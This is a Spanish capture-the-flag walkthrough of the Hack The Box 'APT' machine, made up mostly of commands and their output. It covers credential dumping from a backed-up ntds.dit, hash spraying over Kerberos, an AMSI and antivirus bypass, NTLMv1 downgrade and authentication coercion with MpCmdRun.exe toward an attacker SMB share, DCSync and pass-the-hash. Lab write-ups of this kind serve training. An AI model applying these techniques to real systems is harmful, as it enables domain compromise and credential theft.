Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos solo 2 puertos abiertos, el 80
que es http
y el 135
que es rpc
❯ nmap 10.10.10.213
Nmap scan report for 10.10.10.213
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
En la web principal tenemos una pagina bajo el template de Gigantic Hosting
la cual parece bastante estatica
con solo algunos botones que responden al clic
Al darle al boton support
nos permite indicar y enviar algunos datos de contacto
Pero al enviar los datos nos redirige hacia la 10.13.38.16
que realmente tiene sentido ya que el template es igual que el del endgame Hades con la misma estetica
En este articulo se nos explica una posible forma de enumerar las interfaces
de red a traves de rpc
sin autenticacion usando ServerAlive2()
, nos dan un script que al ejecutarlo nos muestra todas las interfaces
de la máquina, tanto IPv4
como IPv6
❯ python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::199
Address: dead:beef::e58d:ef7c:9919:25cc
Al escanear los puertos de la dirección IPv6
de la maquina encontramos abiertos bastantes mas puertos
, entre ellos los clasicos puertos que tendria un DC
❯ nmap -6 dead:beef::b885:d62a:d679:573f
Nmap scan report for dead:beef::b885:d62a:d679:573f
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49673/tcp open unknown
49688/tcp open unknown
Vemos abierto el 445
que es smb, con crackmapexec
podemos enumerar un poco, encontramos que pertenece al dominio htb.local
y el nombre de la maquina apt
❯ crackmapexec smb dead:beef::b885:d62a:d679:573f
SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre
de la máquina que es APT
como otro dominio
❯ echo "dead:beef::b885:d62a:d679:573f htb.local apt.htb.local" | sudo tee -a /etc/hosts
Access - henry.vinson
Podemos enumerar los recursos smb
bajo una sesion nula
sin proporcionar usuario ni contraseña, vemos que tenemos privilegio READ
sobre el recurso backup
❯ crackmapexec smb htb.local -u '' -p '' --shares
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [+] htb.local\:
SMB htb.local 445 APT [+] Enumerated shares
SMB htb.local 445 APT Share Permissions Remark
SMB htb.local 445 APT ----- ----------- ------
SMB htb.local 445 APT backup READ
SMB htb.local 445 APT IPC$ Remote IPC
SMB htb.local 445 APT NETLOGON Logon server share
SMB htb.local 445 APT SYSVOL Logon server share
Al conectarnos con smbclient solo encontramos un backup.zip
que descargamos
❯ impacket-smbclient htb.local -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use backup
# ls
drw-rw-rw- 0 Thu Sep 24 02:31:03 2020 .
drw-rw-rw- 0 Thu Sep 24 02:31:03 2020 ..
-rw-rw-rw- 10650961 Thu Sep 24 02:31:03 2020 backup.zip
# get backup.zip
#
Si intentamos descomprimir el zip
nos pide una contraseña ya que esta protegido
❯ unzip backup.zip
Archive: backup.zip
creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password:
Usando zip2john
podemos crear un hash
del zip que podemos crackear con john
❯ zip2john backup.zip > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch (backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Al descomprimir el zip
y pasarle la contraseña nos devuelve varios archivos, entre ellos SYSTEM
, SECURITY
y ntds.dit
que almacenan contraseñas y hashes
❯ unzip backup.zip
Archive: backup.zip
creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password: iloveyousomuch
inflating: Active Directory/ntds.dit
inflating: Active Directory/ntds.jfm
creating: registry/
inflating: registry/SECURITY
inflating: registry/SYSTEM
Si en local dumpeamos los secretos LSA
encontramos una contraseña en texto plano
❯ impacket-secretsdump LOCAL -system registry/SYSTEM -security registry/SECURITY
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:34005b00250066006f0027007a004700600026004200680052003300630050005b002900550032004e00560053005c004c00450059004f002f0026005e0029003c00390078006a0036002500230039005c005c003f0075004a0034005900500062006000440052004b00220020004900450053003200660058004b00220066002c005800280051006c002a0066006700300052006600520071003d0021002c004200650041005600460074005e0045005600520052002d004c0029005600610054006a0076002f005100470039003d006f003b004700400067003e005600610062002d00550059006300200059006400
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b300272f1cdab4469660d55fe59415cb
[*] DefaultPassword
(Unknown User):Password123!
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3e0d78cb8f3ed66196584c44b5701501789fc102
dpapi_userkey:0xdcde3fc585c430a72221a48691fb202218248d46
[*] NL$KM
0000 73 4F 34 1D 09 C8 F9 32 23 B9 25 0B DF E2 DC 58 sO4....2#.%....X
0010 44 41 F2 E0 C0 93 CF AD 2F 2E EB 13 81 77 4B 42 DA....../....wKB
0020 C2 E0 6D DE 90 79 44 42 F4 C2 AD 4D 7E 3C 6F B2 ..m..yDB...M~
Tambien tenemos el ntds.dit
que contiene todos loas hashes
de todos los usuarios del dominio los cuales tambien podemos dumpear con secretsdump
❯ impacket-secretsdump LOCAL -ntds 'Active Directory/ntds.dit' -system 'registry/SYSTEM'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 1733ad403c773dde94dddffa2292ffe9
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
APT$:1000:aad3b435b51404eeaad3b435b51404ee:b300272f1cdab4469660d55fe59415cb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72791983d95870c0d6dd999e4389b211:::
jeb.sloan:3200:aad3b435b51404eeaad3b435b51404ee:9ea25adafeec63e38cef4259d3b15c30:::
ranson.mejia:3201:aad3b435b51404eeaad3b435b51404ee:3ae49ec5e6fed82ceea0dc2be77750ab:::
unice.daugherty:3202:aad3b435b51404eeaad3b435b51404ee:531c98e26cfa3caee2174af495031187:::
kazuo.deleon:3203:aad3b435b51404eeaad3b435b51404ee:fde29e6cb61b4f7fda1ad5cd2759329d:::
dacy.frederick:3204:aad3b435b51404eeaad3b435b51404ee:51d368765462e9c5aebc456946d8dc86:::
.........................................................................................
Podriamos probar el hash NT del usuario Administrator
el cual realmente pertenece a la contraseña Password123!
en el lsa no es valida para smb a nivel de dominio
❯ crackmapexec smb htb.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [-] htb.local\Administrator:2b576acbe6bcfda7294d6bd18041b8fe STATUS_LOGON_FAILURE
Podemos iniciar dumpeando todos los hashes
a un txt, filtrando por :::
ya que todos los hashes tendran eso al final, en total conseguimos 2000
hashes y usuarios
❯ impacket-secretsdump LOCAL -ntds 'Active Directory/ntds.dit' -system 'registry/SYSTEM' | grep ::: > dump.txt
❯ wc -l dump.txt
2000 dump.txt
Con awk
podemos filtrar por el argumento 1
y 4
tomando :
como delimitador que pertenecen a los usuarios
y hashes
nt para crear un diccionario para cada uno
❯ awk '{print $1}' FS=':' dump.txt > users.txt
❯ awk '{print $4}' FS=':' dump.txt > hashes.txt
Iniciamos validando los usuarios existentes en el dominio con kerbrute
, ademas de la cuenta de Administrator
y de la maquina APT$
encontramos a henry.vinson
❯ kerbrute userenum -d htb.local --dc apt.htb.local users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> apt.htb.local:88
> [+] VALID USERNAME: APT$@htb.local
> [+] VALID USERNAME: Administrator@htb.local
> [+] VALID USERNAME: henry.vinson@htb.local
Ya que el hash propio no funciona podriamos probar hacer fuerza bruta con los 2000
hashes pero despues de unas cuantas peticiones recibimos un baneo
por ello
❯ crackmapexec smb htb.local -u henry.vinson -H hashes.txt
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [-] htb.local\henry.vinson:2b576acbe6bcfda7294d6bd18041b8fe STATUS_LOGON_FAILURE
SMB htb.local 445 APT [-] htb.local\henry.vinson:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE
SMB htb.local 445 APT [-] htb.local\henry.vinson:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE
SMB htb.local 445 APT [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB htb.local 445 APT [-] Connection Error: The NETBIOS connection with the remote host timed out.
En github encontramos un proyecto el cual nos sirve para haces un hashspray
pero a traves de kerberos
que no tiene la limitacion de peticiones como lo tiene smb
❯ python3 KerbSpray.py htb.local henry.vinson apt.htb.local hashes.txt
[*] Spraying Hashes...
[i] Domain: htb.local
[i] Target User: henry.vinson
[i] Domain Controller: apt.htb.local
[+] Success htb.local/henry.vinson
[+] Hash Found: e53d87d42adaa3ca32bdb34a876cbffb
Despues de un rato encontramos su hash
NT que comprobamos con crackmapexec
❯ crackmapexec smb htb.local -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [+] htb.local\henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb
Shell - henry.vinson_adm
En este caso desde este usuario podemos acceder a los registros HKEY_USERS
o HKU
a traves de reg
, donde encontramos varias subkeys entre ellas Software
❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU
HKU\Console
HKU\Control Panel
HKU\Environment
HKU\Keyboard Layout
HKU\Network
HKU\Software
HKU\System
HKU\Volatile Environment
Bajo la subkey Software
encontramos una bastante fuera de lo comun que es GiganticHostingManagementSystem
en la cual podria haber cosas interesantes
❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\Software'
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
Al hacer una consulta con reg
encontramos unas credenciales
en texto plano
❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\Software\GiganticHostingManagementSystem'
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ G1#Ny5@2dvht
Podemos comprobar las credenciales de henry.vinson_adm
con crackmapexec
, esta contraseña no es valida solo para el servicio smb
sino tambien para winrm
❯ crackmapexec smb htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht
❯ crackmapexec winrm htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
SMB htb.local 5985 APT [*] Windows 10.0 Build 14393 (name:APT) (domain:htb.local)
HTTP htb.local 5985 APT [*] http://hackthebox.local:5985/wsman
WINRM htb.local 5985 APT [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht (Pwn3d!)
Simplemente nos conectamos como evil-winrm
y obtenemos una powershell
❯ evil-winrm -i htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
PS C:\Users\henry.vinson_adm\Documents> type ..\Desktop\user.txt
8e6**************************56e
PS C:\Users\henry.vinson_adm\Documents>
Shell - Administrator
Para enumerar posibles vias en la maquina podriamos subir winpeas sin embargo tenemos una limitacion y es el antivirus
que lo detecta y no nos permite ejecutarlo
PS C:\Users\henry.vinson_adm\Documents> upload winpeas.exe
Info: Uploading winpeas.exe to C:\Users\henry.vinson_adm\Documents\winpeas.exe
Data: 3166888 bytes of 3166888 bytes copied
Info: Upload successful!
PS C:\Users\henry.vinson_adm\Documents> .\winpeas.exe
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~.
At line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
PS C:\Users\henry.vinson_adm\Documents>
Podemos aprovechar las funciones de evil-winrm
para bypassearlo iniciando con Bypass-4MSI
para parchear el amsi y Invoke-Binary
para ejecutarlo desde fuera
PS C:\Users\henry.vinson_adm\Documents> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
PS C:\Users\henry.vinson_adm\Documents> Invoke-Binary /home/kali/winpeas.exe
En las configuraciones ntlm nos dice que la maquina usa NTLMv1
para autenticarse
╔══════════╣ Enumerating NTLM Settings
LanmanCompatibilityLevel : 2 (Send NTLM response only)
NTLM Signing Settings
ClientRequireSigning : False
ClientNegotiateSigning : True
ServerRequireSigning : True
ServerNegotiateSigning : True
LdapSigning : Negotiate signing (Negotiate signing)
Session Security
NTLMMinClientSec : 536870912 (Require 128-bit encryption)
[!] NTLM clients support NTLMv1!
NTLMMinServerSec : 536870912 (Require 128-bit encryption)
[!] NTLM services on this machine support NTLMv1!
NTLM Auditing and Restrictions
InboundRestrictions : (Not defined)
OutboundRestrictions : (Not defined)
InboundAuditing : (Not defined)
OutboundExceptions :
Para adaptarnos a crackers
mas conocidos que tiran de tablas
precomputadas como crack.sh el Challenge
de responder lo modificaremos a 1122334455667788
❯ grep Challenge /etc/responder/Responder.conf
Challenge = 1122334455667788
Ahora con responder
nos ponemos en escucha de trafico indicando la interfaz tun0
y con el parametro --lm
para forzar el downgrade
hacia las versiones antiguas
❯ sudo responder -I tun0 --lm
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
Aprovechando el antivirus
podemos hacer un escaneo a un archivo especifico usando MpCmdRun.exe
apuntando a un recurso SMB
que lleve a nuestro host
PS C:\Program Files\Windows Defender> .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.10\kali\test.txt
PS C:\Program Files\Windows Defender>
Volvemos al responder
en escucha y podemos ver que el equipo APT$
ha realizado una autenticación
hacia nuestro host y recibimos su hash en el formato NTLMv1
❯ sudo responder -I tun0 --lm
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
[SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
Ya que la fuerza bruta probablemente nos tomaria dias, tiraremos de crack.sh, indicandole nuestro correo
y pasandole nuestro hash
en el siguiente formato
NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
Pasados unos minutos recibiremos un correo
de crack.sh con los resultados
de la petición, donde ha logrado conseguir el hash NT
con nuestro input que enviamos
Ya que la máquina APT$
tiene privilegios DCSync
sobre el dominio al ser el DC
podemos hacerlo directamente con crackmapexec
para ver todos los hashes NT
❯ crackmapexec smb htb.local -u APT$ -H d167c3238864b12f5f82feae86a7f798 --ntds drsuapi
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 APT [+] htb.local\APT$:d167c3238864b12f5f82feae86a7f798
SMB htb.local 445 APT [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB htb.local 445 APT [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB htb.local 445 APT Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
SMB htb.local 445 APT Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB htb.local 445 APT krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
SMB htb.local 445 APT DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB htb.local 445 APT henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
SMB htb.local 445 APT henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
SMB htb.local 445 APT APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
Con el hash de Administrator
podemos simplemente conectarnos con evil-winrm
❯ evil-winrm -i htb.local -u Administrator -H c370bddf384a691d811ff3495e8a72e2
PS C:\Users\Administrator\Documents> whoami
htb\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
b65**************************9b1
PS C:\Users\Administrator\Documents>